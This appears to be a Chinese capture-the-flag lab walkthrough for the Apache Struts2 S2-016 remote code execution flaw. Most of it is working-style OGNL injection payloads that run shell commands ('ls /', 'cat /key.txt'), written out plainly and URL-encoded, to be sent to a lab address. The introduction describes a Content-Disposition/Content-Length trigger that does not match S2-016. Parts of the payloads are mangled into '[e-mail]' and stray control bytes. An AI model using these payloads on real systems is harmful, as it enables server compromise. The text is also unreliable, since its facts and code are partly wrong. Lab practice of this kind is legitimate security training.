【墨者学院】Apache Struts2远程代码执行漏洞(S2-016)之URL编码

【墨者学院】Apache Struts2远程代码执行漏洞(S2-016)

 

 漏洞简介：

Apache Struts2存在远程代码执行漏洞，攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段，通过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常，进而导致任意代码执行

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第一步：点击访问靶场链接

 第二步：测试是否存在漏洞

输入/3.jsp

发现表达式被执行，证明存在漏洞

 第三步：构造POC，执行ls/查看文件

${#_memberAccess[“allowStaticMethodAccess”]=true,#[e-mail]@getRuntime().exec(‘ls /’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[e-mail]@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

 使用BurpSuite进行url编码

 得到：

%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%1c%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%1d%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%18%6c%73%20%2f%19%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%64%29%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%7d

 

 第四步：复制编码后的数据，黏贴到“219.153.49.228：41180/?a=”的后面，访问

 发现key.txt文件

 第五步：执行cat /key.txt查看文本内容

POC:

${#_memberAccess[“allowStaticMethodAccess”]=true,#[e-mail]@getRuntime().exec(‘cat /key.txt’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[e-mail]@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

 进行URL编码：

%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%74%20%2f%6b%65%79%2e%74%78%74%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%64%29%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%7d

 

 第六步：把编码放在“219.153.49.228：41180/?a=”后，访问得到key

 

 

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（如有不足或者涉权的地方，请尽快联系我，我会及时修改或删除，非常感谢）

感谢一路走来的老师和一起奋斗的伙伴们，既然开始了，就不能说放弃，让我们一起加油，做最好的我们！